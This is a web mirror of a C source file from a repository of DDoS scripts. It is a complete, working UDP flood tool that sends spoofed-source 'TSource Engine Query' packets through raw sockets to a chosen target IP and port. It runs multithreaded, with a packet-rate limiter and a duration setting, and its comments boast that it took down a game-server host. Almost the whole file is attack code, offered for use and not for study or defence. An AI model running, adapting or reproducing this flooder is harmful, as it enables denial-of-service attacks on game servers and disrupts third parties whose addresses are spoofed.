Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
R00tS3c
GitHub Repository: R00tS3c/DDOS-RootSec
Path: blob/master/DDOS Scripts/L4/UDP/game.c
4607 views
1
/*
2
Fatti made this method hit nfos no cap
3
*/
4
5
#include <pthread.h>
6
#include <unistd.h>
7
#include <stdio.h>
8
#include <stdlib.h>
9
#include <string.h>
10
#include <sys/socket.h>
11
#include <netinet/ip.h>
12
#include <netinet/udp.h>
13
14
#define MAX_PACKET_SIZE 4096
15
#define PHI 0x9e3779b9
16
17
static unsigned long int Q[4096], c = 362436;
18
static unsigned int floodport;
19
volatile int limiter;
20
volatile unsigned int pps;
21
volatile unsigned int sleeptime = 100;
22
23
void init_rand(unsigned long int x)
24
{
25
int i;
26
Q[0] = x;
27
Q[1] = x + PHI;
28
Q[2] = x + PHI + PHI;
29
for (i = 3; i < 4096; i++){ Q[i] = Q[i] ^ Q[i] ^ PHI ^ i; }
30
}
31
unsigned long int rand_cmwc(void)
32
{
33
unsigned long long int t, a = 18782LL;
34
static unsigned long int i = 4095;
35
unsigned long int x, r = 0xfffffffe;
36
i = (i + 1) & 4095;
37
t = a * Q[i] + c;
38
c = (t >> 32);
39
x = t + c;
40
if (x < c) {
41
x++;
42
c++;
43
}
44
return (Q[i] = r - x);
45
}
46
unsigned short csum (unsigned short *buf, int count)
47
{
48
register unsigned long sum = 0;
49
while( count > 1 ) { sum += *buf++; count -= 2; }
50
if(count > 0) { sum += *(unsigned char *)buf; }
51
while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
52
return (unsigned short)(~sum);
53
}
54
55
void setup_ip_header(struct iphdr *iph)
56
{
57
char ip[17];
58
snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255);
59
iph->ihl = 5;
60
iph->version = 4;
61
iph->tos = 0;
62
iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 50;
63
iph->id = htonl(rand()%65535);
64
iph->frag_off = 0;
65
iph->ttl = MAXTTL;
66
iph->protocol = 17;
67
iph->check = 0;
68
iph->saddr = inet_addr(ip);
69
}
70
71
void setup_udp_header(struct udphdr *udph)
72
{
73
udph->source = htons(rand()%65535);
74
udph->dest = htons(floodport);
75
udph->check = 0;
76
void *data = (void *)udph + sizeof(struct udphdr);
77
memset(data, 0xFF, 4);
78
strcpy(data+4, "TSource Engine Query");
79
udph->len=htons(sizeof(struct udphdr) + 50);
80
}
81
82
void *flood(void *par1)
83
{
84
//int class[]= {16843009, 134744072, 151587081, 2155093072, 2155093012, 2450767831, 1348198214,37384646,764308322,3247258861,763588419,755884866,755884954,3111453514,37384655,764308428,100529771};
85
char *td = (char *)par1;
86
char datagram[MAX_PACKET_SIZE];
87
struct iphdr *iph = (struct iphdr *)datagram;
88
struct udphdr *udph = (void *)iph + sizeof(struct iphdr);
89
90
struct sockaddr_in sin;
91
sin.sin_family = AF_INET;
92
sin.sin_port = htons(floodport);
93
94
sin.sin_addr.s_addr = inet_addr(td);
95
96
int s = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
97
if(s < 0){
98
fprintf(stderr, "Could not open raw socket.\n");
99
exit(-1);
100
}
101
memset(datagram, 0, MAX_PACKET_SIZE);
102
setup_ip_header(iph);
103
setup_udp_header(udph);
104
105
iph->daddr = sin.sin_addr.s_addr;
106
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
107
108
int tmp = 1;
109
const int *val = &tmp;
110
if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
111
fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");
112
exit(-1);
113
}
114
115
init_rand(time(NULL));
116
register unsigned int i;
117
i = 0;
118
while(1){
119
sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));
120
//iph->saddr = htonl(class[rand_cmwc()%20]);
121
iph->saddr = htonl(rand_cmwc() & 0xFFFFFFFF);
122
iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);
123
iph->check = csum ((unsigned short *) datagram, iph->tot_len);
124
125
pps++;
126
if(i >= limiter)
127
{
128
i = 0;
129
usleep(sleeptime);
130
}
131
i++;
132
}
133
}
134
int main(int argc, char *argv[ ])
135
{
136
if(argc < 5){
137
fprintf(stderr, "Invalid parameters!\n");
138
fprintf(stdout, "@CKDDOS-Usage: %s <target IP> <Flood Port> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]);
139
exit(-1);
140
}
141
142
fprintf(stdout, "Setting up Sockets...\n");
143
floodport = atoi(argv[2]);
144
int num_threads = atoi(argv[3]);
145
int maxpps = atoi(argv[4]);
146
limiter = 0;
147
pps = 0;
148
pthread_t thread[num_threads];
149
150
int multiplier = 100;
151
152
int i;
153
for(i = 0;i<num_threads;i++){
154
pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
155
}
156
fprintf(stdout, "Starting Flood... Fatti Made This Shit... Sending Fatass Packets\n");
157
for(i = 0;i<(atoi(argv[5])*multiplier);i++)
158
{
159
usleep((1000/multiplier)*1000);
160
if((pps*multiplier) > maxpps)
161
{
162
if(1 > limiter)
163
{
164
sleeptime+=100;
165
} else {
166
limiter--;
167
}
168
} else {
169
limiter++;
170
if(sleeptime > 25)
171
{
172
sleeptime-=25;
173
} else {
174
sleeptime = 0;
175
}
176
}
177
pps = 0;
178
}
179
180
return 0;
181
}
182